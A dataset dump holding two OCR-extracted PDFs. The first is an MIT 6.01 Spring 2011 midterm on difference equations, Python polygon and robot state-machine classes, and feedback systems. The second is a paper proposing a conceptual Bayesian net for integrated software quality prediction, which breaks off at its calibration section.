id
stringlengths 40
40
| text
stringlengths 9
86.7k
| metadata
stringlengths 3k
16.2k
| source
stringclasses 1
value | added
stringdate 2024-11-21 00:00:00
2024-12-12 00:00:00
| created
stringdate 2024-11-21 00:00:00
2024-12-12 00:00:00
|
|---|---|---|---|---|---|
3bb526153fac9e6d9828c0bc3cf03a1fe16fbbed
|
Enter all answers in the boxes provided.
During the exam you may:
- read any paper that you want to
- use a calculator
You may not
- use a computer, phone or music player
For staff use:
<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td>/16</td>
</tr>
<tr>
<td>2.</td>
<td>/24</td>
</tr>
<tr>
<td>3.</td>
<td>/16</td>
</tr>
<tr>
<td>4.</td>
<td>/28</td>
</tr>
<tr>
<td>5.</td>
<td>/16</td>
</tr>
<tr>
<td>total:</td>
<td>/100</td>
</tr>
</tbody>
</table>
1 Difference Equations (16 points)
System 1: Consider the system represented by the following difference equation
\[ y[n] = x[n] + \frac{1}{2} \left( 5y[n - 1] + 3y[n - 2] \right) \]
where \( x[n] \) and \( y[n] \) represent the \( n \)th samples of the input and output signals, respectively.
1.1 Poles (4 points)
Determine the pole(s) of this system.
number of poles:
list of pole(s):
1.2 Behavior (4 points)
Does the unit-sample response of the system converge or diverge as \( n \to \infty \)?
converge or diverge:
Briefly explain.
System 2: Consider a different system that can be described by a difference equation of the form
where \( A \) and \( B \) are real-valued constants. The system is known to have two poles, given by \( \frac{1}{2} \pm \frac{j}{3} \).
1.3 Coefficients (4 points)
Determine \( A \) and \( B \).
\[
A = \quad B =
\]
1.4 Behavior (4 points)
Does the unit-sample response of the system converge or diverge as \( n \to \infty \)?
converge or diverge:
Briefly explain.
2 Geometry OOPs (24 points)
We will develop some classes and methods to represent polygons. They will build on the following class for representing points.
class Point:
def __init__(self, x, y):
self.x = x
self.y = y
def distanceTo(self, p):
return math.sqrt((self.x - p.x)**2 + (self.y - p.y)**2)
def __str__(self):
return 'Point'+str((self.x, self.y))
__repr__ = __str__
2.1 Polygon class (6 points)
Define a class for a Polygon, which is defined by a list of Point instances (its vertices). You should define the following methods:
- __init__: takes a list of the points of the polygon, in a counter-clockwise order around the polygon, as input
- perimeter: takes no arguments and returns the perimeter of the polygon
```python
class Polygon:
def __init__(self, points):
self.points = points
def perimeter(self):
total = 0
for i in range(len(self.points) - 1):
total += self.distanceTo(self.points[i], self.points[i+1])
return total
```
2.2 Rectangles (6 points)
Define a Rectangle class, which is a subclass of the Polygon class, for an axis-aligned rectangle which is defined by a center point, a width (measured along x axis), and a height (measured along y axis).
```python
>>> s = Rectangle(Point(0.5, 1.0), 1, 2)
```
This has a result that is equivalent to
```python
>>> s = Polygon([Point(0, 0), Point(1, 0), Point(1, 2), Point(0, 2)])
```
Define the Rectangle class; write as little new code as possible.
2.3 **Edges (6 points)**
Computing the perimeter, and other algorithms, can be conveniently organized by iterating over the *edges* of a polygon. So, we can describe the polygon in terms of edges, as defined in the following class:
```python
class Edge:
def __init__(self, p1, p2):
self.p1 = p1
self.p2 = p2
def length(self):
return self.p1.distanceTo(self.p2)
def determinant(self):
return self.p1.x * self.p2.y - self.p1.y * self.p2.x
def __str__(self):
return 'Edge'+str((self.p1, self.p2))
__repr__ = __str__
```
Assume that the `__init__` method for the `Polygon` class initializes the attribute edges to be a list of `Edge` instances for the polygon, as well as initializing the points.
Define a new method, `sumForEdges`, for the `Polygon` class that takes a procedure as an argument, which applies the procedure to each edge and returns the sum of the results. The example below simply returns the number of edges in the polygon.
```python
>>> p = Polygon([Point(0,0),Point(2,0),Point(2,1),Point(0,1)])
>>> p.sumForEdges(lambda e: 1)
4
```
2.4 Area (6 points)
A very cool algorithm for computing the area of an arbitrary polygon hinges on the fact that:
The area of a planar non-self-intersection polygon with vertices \((x_0, y_0), \ldots, (x_n, y_n)\) is
\[
A = \frac{1}{2} \left( |x_0 \ x_1 \ y_0 \ y_1| + |x_1 \ x_2 \ y_1 \ y_2| + \ldots + |x_n \ x_0 \ y_n \ y_0| \right)
\]
where \(|M|\) denotes the determinant of a matrix, defined in the two by two case as:
\[
\begin{vmatrix}
a & b \\
c & d \\
\end{vmatrix} = (ad - bc)
\]
Note that the determinant method has already been implemented in the Edge class.
Use the sumForEdges method and any other methods in the Edge class to implement an area method for the Polygon class.
3 Signals and Systems (16 points)
Consider the system described by the following difference equation:
\[ y[n] = x[n] + y[n - 1] + 2y[n - 2] . \]
3.1 Unit-Step Response (4 points)
Assume that the system starts at rest and that the input \( x[n] \) is the unit-step signal \( u[n] \).
\[ x[n] = u[n] = \begin{cases} 1 & n \geq 0 \\ 0 & \text{otherwise} \end{cases} \]
Find \( y[4] \) and enter its value in the box below.
\[ y[4] = \]
3.2 Block Diagrams (12 points)
The system that is represented by the following difference equation
\[ y[n] = x[n] + y[n - 1] + 2y[n - 2] \]
can also be represented by the block diagram below (left).
It is possible to choose coefficients for the block diagram on the right so that the systems represented by the left and right block diagrams are “equivalent”.\(^1\)
Enter values of \(p_0\), \(p_1\), \(A\), and \(B\) that will make the systems equivalent in the boxes below
\[ p_0 = \quad A = \quad p_1 = \quad B = \]
---
\(^1\) Two systems are “equivalent” if identical inputs generate identical outputs when each system is started from “rest” (i.e., all delay outputs are initially zero).
4 Robot SM (28 points)
There is a copy of this page at the back of the exam that you can tear off for reference.
In Design Lab 2, we developed a state machine for getting the robot to follow boundaries. Here, we will develop a systematic approach for specifying such state machines.
We start by defining a procedure called inpClassifier, which takes an input of type io.SensorInput and classifies it as one of a small number of input types that can then be used to make decisions about what the robot should do next.
Recall that instances of the class io.SensorInput have two attributes: sonars, which is a list of 8 sonar readings and odometry which is an instance of util.Pose, which has attributes x, y and theta.
Here is a simple example:
```python
def inpClassifier(inp):
if inp.sonars[3] < 0.5:
return 'frontWall'
elif inp.sonars[7] < 0.5:
return 'rightWall'
else:
return 'noWall'
```
Next, we create a class for defining “rules.” Each rule specifies the next state, forward velocity and rotational velocity that should result when the robot is in a specified current state and receives a particular type of input. Here is the definition of the class Rule:
```python
class Rule:
def __init__(self, currentState, inpType, nextState, outFvel, outRvel):
self.currentState = currentState
self.inpType = inpType
self.nextState = nextState
self.outFvel = outFvel
self.outRvel = outRvel
```
Thus, an instance of a Rule would look like this:
```
Rule('NotFollowing', 'frontWall', 'Following', 0.0, 0.0)
```
which says that if we are in state 'NotFollowing' and we get an input of type 'frontWall', we should transition to state 'Following' and output zero forward and rotational velocities.
Finally, we will specify the new state machine class called Robot, which takes a start state, a list of Rule instances, and a procedure to classify input types. The following statement creates an instance of the Robot class that we can use to control the robot in a Soar brain.
```python
r = Robot('NotFollowing',
[Rule('NotFollowing', 'noWall', 'NotFollowing', 0.1, 0.0),
Rule('NotFollowing', 'frontWall', 'Following', 0.0, 0.0),
Rule('Following', 'frontWall', 'Following', 0.0, 0.1)],
inpClassifier)
```
Assume it is an error if a combination of state and input type occurs that is not covered in the rules. In that case, the state will not change and the output will be an action with zero velocities.
4.1 Simulate (3 points)
For the input classifier (inpClassifier) and Robot instance (r) shown above, give the outputs for the given inputs.
<table>
<thead>
<tr>
<th>step</th>
<th>input</th>
<th>output</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>sonars[3]</td>
<td>next state</td>
</tr>
<tr>
<td>1</td>
<td>1.0 5.0</td>
<td>forward vel</td>
</tr>
<tr>
<td>2</td>
<td>0.4 5.0</td>
<td>rotational vel</td>
</tr>
<tr>
<td>3</td>
<td>0.4 5.0</td>
<td></td>
</tr>
</tbody>
</table>
4.2 Charge and Retreat (4 points)
We’d like the robot to start at the origin (i.e., x=0, y=0, theta=0), then move forward (along x axis) until it gets within 0.5 meters of a wall, then move backward until it is close to the origin (within 0.02 m), and then repeat this cycle of forward and backward moves indefinitely. Assume that the robot never moves more than 0.01 m per time step.
Write an input classifier for this behavior.
```python
def chargeAndRetreatClassifier(inp):
```
4.3 **Robot instance (7 points)**
Write an instance of the Robot class that implements the charge-and-retreat behavior described above. Make sure that you cover all the cases.
4.4 Matching (6 points)
Write a procedure $\text{match}(\text{rules}, \text{inpType}, \text{state})$ that takes a list of rules, an input type classification, and a state, and returns the rule in $\text{rules}$ that matches $\text{inpType}$ and $\text{state}$ if there is one, and otherwise returns None.
4.5 The Machine (8 points)
Complete the definition of the Robot class below; use the match procedure you defined above.
Recall that, at each step, the output must be an instance of the io.Action class; to initialize an instance of io.Action, you must provide a forward and a rotational velocity.
If a combination of state and input type occurs that is not covered in the rules, remain in the same state and output an action with zero velocity.
class Robot(sm.SM):
def __init__(self, start, rules, inpClassifier):
self.startState = start
self.rules = rules
self.inpClassifier = inpClassifier
5 Feedback (16 points)
Let $H$ represent a system with input $X$ and output $Y$ as shown below.
\[ X \rightarrow H \rightarrow Y \]
System 1
Assume that the system function for $H$ can be written as a ratio of polynomials in $\mathbb{R}$ with constant, real-valued, coefficients. In this problem, we investigate when the system $H$ is equivalent to the following feedback system
\[ X \rightarrow + \rightarrow F \rightarrow Y \]
System 2
where $F$ is also a ratio of polynomials in $\mathbb{R}$ with constant, real-valued coefficients.
**Example 1:** Systems 1 and 2 are equivalent when $H = H_1 = \frac{\mathbb{R}}{1 - \mathbb{R}}$ and $F = F_1 = \mathbb{R}$.
**Example 2:** Systems 1 and 2 are equivalent when $H = H_2 = \frac{\mathbb{R}^2}{1 - \mathbb{R}^2}$ and $F = F_2 = \mathbb{R}^2$.
5.1 Generalization (4 points)
Which of the following expressions for $F$ guarantees equivalence of Systems 1 and 2?
\[
F_A = \frac{1}{1 + H} \quad F_B = \frac{1}{1 - H} \quad F_C = \frac{H}{1 + H} \quad F_D = \frac{H}{1 - H}
\]
Enter $F_A$ or $F_B$ or $F_C$ or $F_D$ or **None**: blank
5.2 Find the Poles (6 points)
Let \( H_3 = \frac{9}{2 + R} \). Determine the pole(s) of \( H_3 \) and the pole(s) of \( \frac{1}{1 - H_3} \).
Pole(s) of \( H_3 \): ________________________ Pole(s) of \( \frac{1}{1 - H_3} \): ________________________
5.3 **SystemFunction (6 points)**
Write a procedure `insideOut(H)`:
- the input H is a `sf.SystemFunction` that represents the system H, and
- the output is a `sf.SystemFunction` that represents $\frac{H}{1-H}$.
You may use the `SystemFunction` class and other procedures in `sf`:
**Attributes and methods of SystemFunction class:**
- `__init__(self, numPoly, denomPoly)`
- `poles(self)`
- `poleMagnitudes(self)`
- `dominantPole(self)`
- `numerator`
- `denominator`
**Procedures in sf**
- `sf.Cascade(sf1, sf2)`
- `sf.FeedbackSubtract(sf1, sf2)`
- `sf.FeedbackAdd(sf1, sf2)`
- `sf.Gain(c)`
```python
def insideOut(H):
```
---
**Midterm 1**
**Spring 2011**
Worksheet (intentionally blank)
Robot SM: Reference Sheet
This is the same as the first page of problem 4.
In Design Lab 2, we developed a state machine for getting the robot to follow boundaries. Here, we will develop a systematic approach for specifying such state machines.
We start by defining a procedure called inpClassifier, which takes an input of type io.SensorInput and classifies it as one of a small number of input types that can then be used to make decisions about what the robot should do next.
Recall that instances of the class io.SensorInput have two attributes: sonars, which is a list of 8 sonar readings and odometry which is an instance of util.Pose, which has attributes x, y and theta.
Here is a simple example:
```python
def inpClassifier(inp):
if inp.sonars[3] < 0.5: return 'frontWall'
elif inp.sonars[7] < 0.5: return 'rightWall'
else: return 'noWall'
```
Next, we create a class for defining “rules.” Each rule specifies the next state, forward velocity and rotational velocity that should result when the robot is in a specified current state and receives a particular type of input. Here is the definition of the class Rule:
```python
class Rule:
def __init__(self, currentState, inpType, nextState, outFvel, outRvel):
self.currentState = currentState
self.inpType = inpType
self.nextState = nextState
self.outFvel = outFvel
self.outRvel = outRvel
```
Thus, an instance of a Rule would look like this:
```python
Rule('NotFollowing', 'frontWall', 'Following', 0.0, 0.0)
```
which says that if we are in state 'NotFollowing' and we get an input of type 'frontWall', we should transition to state 'Following' and output zero forward and rotational velocities.
Finally, we will specify the new state machine class called Robot, which takes a start state, a list of Rule instances, and a procedure to classify input types. The following statement creates an instance of the Robot class that we can use to control the robot in a Soar brain.
```python
r = Robot('NotFollowing',
[Rule('NotFollowing', 'noWall', 'NotFollowing', 0.1, 0.0),
Rule('NotFollowing', 'frontWall', 'Following', 0.0, 0.0),
Rule('Following', 'frontWall', 'Following', 0.0, 0.1)],
inpClassifier)
```
Assume it is an error if a combination of state and input type occurs that is not covered in the rules. In that case, the state will not change and the output will be an action with zero velocities.
|
{"Source-Url": "https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-01sc-introduction-to-electrical-engineering-and-computer-science-i-spring-2011/midterm-exam-1/MIT6_01SCS11_mid01_S11.pdf", "len_cl100k_base": 4290, "olmocr-version": "0.1.50", "pdf-total-pages": 21, "total-fallback-pages": 0, "total-input-tokens": 51016, "total-output-tokens": 5193, "length": "2e12", "weborganizer": {"__label__adult": 0.0007047653198242188, "__label__art_design": 0.0016565322875976562, "__label__crime_law": 0.0007724761962890625, "__label__education_jobs": 0.05902099609375, "__label__entertainment": 0.00022351741790771484, "__label__fashion_beauty": 0.0004575252532958984, "__label__finance_business": 0.0005173683166503906, "__label__food_dining": 0.0010538101196289062, "__label__games": 0.0020885467529296875, "__label__hardware": 0.0069122314453125, "__label__health": 0.0012187957763671875, "__label__history": 0.0010833740234375, "__label__home_hobbies": 0.0011434555053710938, "__label__industrial": 0.003452301025390625, "__label__literature": 0.0008192062377929688, "__label__politics": 0.0006451606750488281, "__label__religion": 0.000865936279296875, "__label__science_tech": 0.452392578125, "__label__social_life": 0.0005612373352050781, "__label__software": 0.0081787109375, "__label__software_dev": 0.452392578125, "__label__sports_fitness": 0.0011148452758789062, "__label__transportation": 0.0021114349365234375, "__label__travel": 0.00040078163146972656}, "weborganizer_max": "__label__science_tech", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 14850, 0.0336]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 14850, 0.83694]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 14850, 0.79499]], "google_gemma-3-12b-it_contains_pii": [[0, 293, false], [293, 841, null], [841, 1349, null], [1349, 2395, null], [2395, 2876, null], [2876, 3989, null], [3989, 4689, null], [4689, 5129, null], [5129, 5827, null], [5827, 8361, null], [8361, 9252, null], [9252, 9429, null], [9429, 9735, null], [9735, 10358, null], [10358, 11449, null], [11449, 11701, null], [11701, 12368, null], [12368, 12368, null], [12368, 12400, null], [12400, 14850, null], [14850, 14850, null]], "google_gemma-3-12b-it_is_public_document": [[0, 293, true], [293, 841, null], [841, 1349, null], [1349, 2395, null], [2395, 2876, null], [2876, 3989, null], [3989, 4689, null], [4689, 5129, null], [5129, 5827, null], [5827, 8361, null], [8361, 9252, null], [9252, 9429, null], [9429, 9735, null], [9735, 10358, null], [10358, 11449, null], [11449, 11701, null], [11701, 12368, null], [12368, 12368, null], [12368, 12400, null], [12400, 14850, null], [14850, 14850, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 14850, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 14850, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 14850, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 14850, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 14850, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 14850, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 14850, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 14850, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, true], [5000, 14850, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 14850, null]], "pdf_page_numbers": [[0, 293, 1], [293, 841, 2], [841, 1349, 3], [1349, 2395, 4], [2395, 2876, 5], [2876, 3989, 6], [3989, 4689, 7], [4689, 5129, 8], [5129, 5827, 9], [5827, 8361, 10], [8361, 9252, 11], [9252, 9429, 12], [9429, 9735, 13], [9735, 10358, 14], [10358, 11449, 15], [11449, 11701, 16], [11701, 12368, 17], [12368, 12368, 18], [12368, 12400, 19], [12400, 14850, 20], [14850, 14850, 21]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 14850, 0.05128]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
d20b63eff3666d5d9a45695e0a0c43c3eee02637
|
A conceptual Bayesian net model for integrated software quality prediction
Łukasz Radliński
1 Institute of Information Technology in Management, University of Szczecin
Mickiewicza 64, 71-101 Szczecin, Poland
Abstract — Software quality can be described by a set of features, such as functionality, reliability, usability, efficiency, maintainability, portability and others. There are various models for software quality prediction developed in the past. Unfortunately, they typically focus on a single quality feature. The main goal of this study is to develop a predictive model that integrates several features of software quality, including relationships between them. This model is an expert-driven Bayesian net, which can be used in diverse analyses and simulations. The paper discusses model structure, behaviour, calibration and enhancement options as well as possible use in fields other than software engineering.
1 Introduction
Software quality has been one of the most widely studied areas of software engineering. One of the aspects of quality assurance is quality prediction. Several predictive models have been proposed since 1970’s. A clear trade-off can be observed between model’s analytical potential and the number of used quality features. Models that contain a wide range of quality features [1, 2, 3] typically have low analytical potential and are more frames for building calibrated predictive models. On the other hand, models with higher analytical potential typically focus on a single or very few aspects of quality, for example on reliability [4, 5].
This trade-off has been the main motivation for research focused on building predictive models that both incorporate various aspects of software quality and have high analytical potential. The aim of this paper is to build such predictive model as a
Bayesian net (BN). This model may be used to deliver information for decision-makers about managing software projects to achieve specific targets for software quality.
Bayesian nets have been selected for this study for several reasons. The most important is related with the ability to incorporate both expert knowledge and empirical data. Typically, predictive models for software engineering are built using data-driven techniques like multiple regression, neural networks, nearest neighbors or decision trees. For the current type of study, a dataset with past projects of high volume and appropriate level of details is typically not available. Thus, the model has to be based more on expert knowledge and only partially on empirical data. Other advantages of BNs include the ability to incorporate causal relationships between variables, explicit incorporation of uncertainty through probabilistic definition of variables, no fixed lists of independent and dependent variables, running the model with incomplete data, forward and backward inference, and graphical representation. More information on the BN theory can be found in [6, 7] while recent applications in software engineering have been discussed in [8, 9, 10, 11, 12, 13, 14, 15, 16].
The rest of this paper is organized as follows: Section 2 brings closer the point of view on software quality that was the subject of the research. Section 3 discusses background knowledge used when building the predictive model. Section 4 provides the details on the structure of the proposed predictive model. Section 5 focuses on the behaviour of this model. Section 6 discusses possibilities for calibrating and extending the proposed model. Section 7 considers the use of such type of model in other areas. Section 8 summarizes this study.
## 2 Software Quality
Software quality is typically expressed in science and industry as a range of features rather than a single aggregated value. This study follows the ISO approach where software quality is defined as a “degree to which the software product satisfies stated and implied needs when used under specified conditions” [1]. This standard defines eleven characteristics, shown in Fig. 1 with dark backgrounds. The last three characteristics (on the left) refer to “quality in use” while others refer to internal and external metrics. Each characteristic is decomposed into the sub-characteristics, shown in Fig. 1 with white background. On the next level each sub-characteristic aggregates the values of metrics that describe the software product. The metrics are not shown here because they should be selected depending on the particular environment where such quality assessment would be used. Other quality models have been proposed in literature [17, 3], from which some concepts may be adapted when building a customized predictive model.
In our approach we follow the general taxonomy of software quality proposed by ISO. However, our approach is not limited to the ISO point of view and may be adjusted according to specific needs. For this reason our approach uses slightly different
terminology with “features” at the highest level, “sub-features” at the second level and “measures” at the lowest level.
3 Background knowledge
Our approach assumes that the industrial-scale model for integrated software quality prediction has to be calibrated for specific needs and environment before it can be used in decision support. Normally such calibration should be performed among domain experts from the target environment, for example using a questionnaire survey. However, at this point such survey has not been completed yet so the current model has been built fully based on the available literature and expert knowledge of the modellers. This is the reason why the model is currently at the “conceptual” stage. The literature used includes quality standards [1, 18, 2, 19, 20, 21], widely accepted results on software quality [22, 23, 24, 17, 3, 25, 26, 27, 28, 29], and experience from building models for similar areas of software engineering [8, 9, 10, 11, 12, 30, 13, 14, 15, 16].
Available literature provides useful information on the relationships among quality features. Fig. 2 illustrates the relationships encoded in the proposed predictive model. There are two types of relationships: positive (“+”) and negative (“−”). The positive relationship indicates a situation where the increased level of one feature causes a probable increase of the level of another feature. The negative relationship indicates a situation where the increased level of one feature causes a probably decrease of the level of another feature unless some compensation is provided. This compensation typically has a form of additional effort, increase of development process quality, or use of better tools or technologies.
Table 1 summarizes the relationships between the effort and the quality features.
Currently there are two groups of controllable factors in the model: effort and process quality – defined separately for three development phases. It is assumed that the increase of effort or process quality has a positive impact on the selected quality features. This impact is not deterministic though, i.e. the increased effort does not guarantee better quality but causes that this better quality is more probable.
It should be noted that the relationships in Fig. 2 and Table 1 may be defined differently in specific target environments.
4 Model Structure
The proposed predictive model is a Bayesian net where the variables are defined as conditional probability distributions given their parents (i.e. immediate predecessors). It is beyond the scope of the paper to discuss the structure of the whole model because the full model contains over 100 variables. However, for full transparency and reproducibility of the results full model definition is available on-line [31].
Fig. 3 illustrates a part of the model structure by showing two quality features and relevant relationships. The whole model is a set of linked hierarchical naïve Bayesian classifiers where each quality feature is modelled by one classifier. Quality feature is the root of this classifier, sub-features are in the second level (children) and measures are the leaves.

To enable relatively easy model calibration and enhancement this model was built with the following assumptions:
- the links between various aspects of software quality may be defined only at the level of features;
- controllable factors are aggregated as the “effectiveness” variables, which, in turn, influence selected quality features.
Currently, all variables in the model, except measures, are expressed on a five-point ranked scale from ‘very low’ to ‘very high’. Two important concepts, implemented in AgenaRisk tool [32], were used to simplify the definition of probability distributions. First, the whole scale of ranked variable is internally treated as the numeric a range (0, 1) with five intervals – i.e. for ‘very low’ an interval (0, 0.2), for ‘low’ an interval (0.2,
A conceptual Bayesian net model for integrated...
0.4) etc. This gives the possibility to express the variable not only as a probability distribution but also using summary statistics, such as the mean (used in the next section). It also opens the door for the second concept – using expressions to define probability distributions for variables. Instead of time-consuming and prone to inconsistencies manual filling probability tables for each variable, it is sufficient to provide only very few parameters for the expressions like Normal distribution (mean, variance), TNormal distribution (mean, variance, lower bound, upper bound), or weighted mean function – wmean(weight for parameter 1, parameter 1, weight for parameter 2, parameter 2 etc.). Table 2 provides the definitions for the selected variables in different layers of the model.
Table 2. Definition of selected variables.
<table>
<thead>
<tr>
<th>Type</th>
<th>Variable</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>feature</td>
<td>usability</td>
<td>TNormal(wmean(1, 0.5, 3, wmean(3, reg_effect, 2, impl_effect, 1, test_effect), 1, funct_suit), 0.05, 0.1)</td>
</tr>
<tr>
<td>sub-feature</td>
<td>effectiveness</td>
<td>TNormal(usability, 0.01, 0.1)</td>
</tr>
</tbody>
</table>
| measure | percentage of tasks accomplished | effectiveness = 'very high' → Normal(95, 10)
Simulation 1 was focused on the sensitivity analysis of quality features in response to the level of controllable factors. An observation about the state for a single controllable factor was entered to the model and then the predictions for all quality features were analyzed. This procedure was repeated for each state of each controllable factor. Fig. 4 illustrates the results for one of such runs by demonstrating the changes of predicted levels of maintainability and performance efficiency caused by different levels of implementation effort. These results have been compared with the background knowledge in Table 1 to validate if the relationships have been correctly defined, i.e. if the change of the level of the controllable factor causes the assumed direction of changed level of quality feature. In this case the obtained results confirm that the background knowledge was correctly incorporated into the model.
5 Model Behaviour
To demonstrate model behaviour four simulations were performed with the focus to analyse the impact of one group of variables on another.
Simulation 1 was focused on the sensitivity analysis of quality features in response to the level of controllable factors. An observation about the state for a single controllable factor was entered to the model and then the predictions for all quality features were analyzed. This procedure was repeated for each state of each controllable factor.
Fig. 4 illustrates the results for one of such runs by demonstrating the changes of predicted levels of maintainability and performance efficiency caused by different levels of implementation effort. These results have been compared with the background knowledge in Table 1 to validate if the relationships have been correctly defined, i.e. if the change of the level of the controllable factor causes the assumed direction of changed level of quality feature. In this case the obtained results confirm that the background knowledge was correctly incorporated into the model.
With these graphs, it is possible to analyze the strength of impact of controllable factors on quality features. The impact of implementation effort is larger on maintainability than on performance efficiency – predicted probability distributions are more ‘responsive’ to different states of implementation effort for maintainability than for performance efficiency. Such information may be used in decision support.

**Fig. 4.** Impact of implementation effort on the selected quality features.
**Simulation 2** is similar to simulation 1 because it also analyses the impact of controllable factors on quality features. However, this simulation involves the analysis of summary statistics (mean values) rather than full probability distributions. Here, an observation ‘very high’ was entered to each controllable factor (one at the time) and then the mean value of predicted probability distribution for each quality feature was analyzed. Table 3 summarizes the results for effort at various phases. All of these mean values are above the default value of 0.5. These higher values suggest the increase in the predicted level specific quality features. These values correspond to “+” signs in Table 1 which further confirms the correct incorporation of the relationships between the controllable factors and the quality features.
<table>
<thead>
<tr>
<th>Quality feature</th>
<th>Requirements effort</th>
<th>Implementation effort</th>
<th>Testing effort</th>
</tr>
</thead>
<tbody>
<tr>
<td>functional suitability</td>
<td>0.55</td>
<td>0.56</td>
<td></td>
</tr>
<tr>
<td>reliability</td>
<td></td>
<td>0.56</td>
<td>0.55</td>
</tr>
<tr>
<td>performance efficiency</td>
<td></td>
<td>0.54</td>
<td>0.53</td>
</tr>
<tr>
<td>operability</td>
<td>0.60</td>
<td></td>
<td></td>
</tr>
<tr>
<td>security</td>
<td></td>
<td></td>
<td>0.55</td>
</tr>
<tr>
<td>compatibility</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>maintainability</td>
<td>0.56</td>
<td>0.57</td>
<td></td>
</tr>
<tr>
<td>portability</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>usability</td>
<td>0.56</td>
<td>0.55</td>
<td>0.52</td>
</tr>
<tr>
<td>flexibility</td>
<td>0.57</td>
<td>0.56</td>
<td></td>
</tr>
<tr>
<td>safety</td>
<td></td>
<td></td>
<td>0.55</td>
</tr>
</tbody>
</table>
**Simulation 3** was focused on the analysis of the relationships among various quality features. Similarly to simulation 2, it also covered the analysis of the mean values of predicted probability distributions. The results are presented in Table 4.
Table 4. Predictions in simulation 3.
<table>
<thead>
<tr>
<th>Observed</th>
<th>Predicted</th>
<th>functional suitability</th>
<th>reliability</th>
<th>maintainability</th>
<th>operability</th>
<th>performance efficiency</th>
<th>usability</th>
<th>portability</th>
<th>flexibility</th>
</tr>
</thead>
<tbody>
<tr>
<td>suitability</td>
<td>0.55</td>
<td></td>
<td>0.55</td>
<td>0.58</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>reliability</td>
<td>0.55</td>
<td>0.55</td>
<td>0.52</td>
<td>0.55</td>
<td>0.55</td>
<td>0.54</td>
<td>0.54</td>
<td></td>
<td></td>
</tr>
<tr>
<td>security</td>
<td></td>
<td>0.46</td>
<td>0.46</td>
<td>0.53</td>
<td>0.53</td>
<td>0.52</td>
<td>0.47</td>
<td></td>
<td></td>
</tr>
<tr>
<td>compatibility</td>
<td>0.35</td>
<td>0.46</td>
<td>0.53</td>
<td>0.48</td>
<td>0.55</td>
<td>0.55</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>operability</td>
<td>0.55</td>
<td>0.52</td>
<td>0.53</td>
<td>0.46</td>
<td>0.55</td>
<td>0.56</td>
<td>0.56</td>
<td></td>
<td></td>
</tr>
<tr>
<td>performance efficiency</td>
<td></td>
<td>0.46</td>
<td>0.48</td>
<td>0.46</td>
<td>0.47</td>
<td>0.44</td>
<td>0.48</td>
<td><0.50</td>
<td>0.47</td>
</tr>
<tr>
<td>maintainability</td>
<td>0.57</td>
<td>0.55</td>
<td>0.55</td>
<td>0.47</td>
<td>0.56</td>
<td>0.57</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>portability</td>
<td></td>
<td>0.55</td>
<td>0.57</td>
<td>0.44</td>
<td>0.56</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>usability</td>
<td>0.58</td>
<td>0.55</td>
<td>0.53</td>
<td>0.56</td>
<td>0.38</td>
<td>0.54</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>safety</td>
<td>0.53</td>
<td>0.54</td>
<td>0.52</td>
<td>0.55</td>
<td><0.50</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>flexibility</td>
<td>0.57</td>
<td>0.54</td>
<td>0.47</td>
<td>0.57</td>
<td>0.58</td>
<td>0.57</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
The predicted mean values are either lower or higher than the default value 0.5. The values lower than 0.5 correspond to “−” signs in Fig. 2 while the values higher than 0.5 correspond to “+” signs in Fig. 2. Such results confirm that the model correctly incorporates the assumed relationships among quality features.
Simulation 4 has been focused on demonstrating more advanced model capabilities for delivering important information for decision support using what-if and trade-off analysis. Although such analysis may involve more variables, for simplicity, four variables were investigated: implementation effort, testing effort, maintainability, and performance efficiency. Some input data on the hypothetical project under consideration were entered into the model. The model provides predictions for these four variables as shown in Fig. 5 (scenario: baseline).
Let us assume that a manager is not satisfied with the low level of maintainability. Apart from previously entered input data, an additional constraint is entered to the model to analyze how to achieve high level of maintainability (maintainability=‘high’→ mean(maintainability)=0.7). As shown in Fig. 5, scenario: revision 1, the model predicts that such target is achievable with the increased level of implementation effort and testing effort (although the increase of required testing effort is very narrow). The model also predicts that the level of performance efficiency is expected to be lower. This is due to the negative relationship between the maintainability and performance efficiency (Fig. 2).
Let us further assume that, due to limited resources, not only the increase of effort is impossible, but even it has to be reduced to the level ‘low’ for implementation and
testing. In such case the level of performance efficiency is expected to be further decreased (scenario: revision 2).
It is possible to perform various other types of simulations similar to simulation 4 to use the model with what-if, trade-off and goal-seeking analyses for decision support. Such simulation may involve more steps and more variables. Such simulations will be performed in future to enhance the validation of model correctness and usefulness.
6 Calibration and Enhancement Options
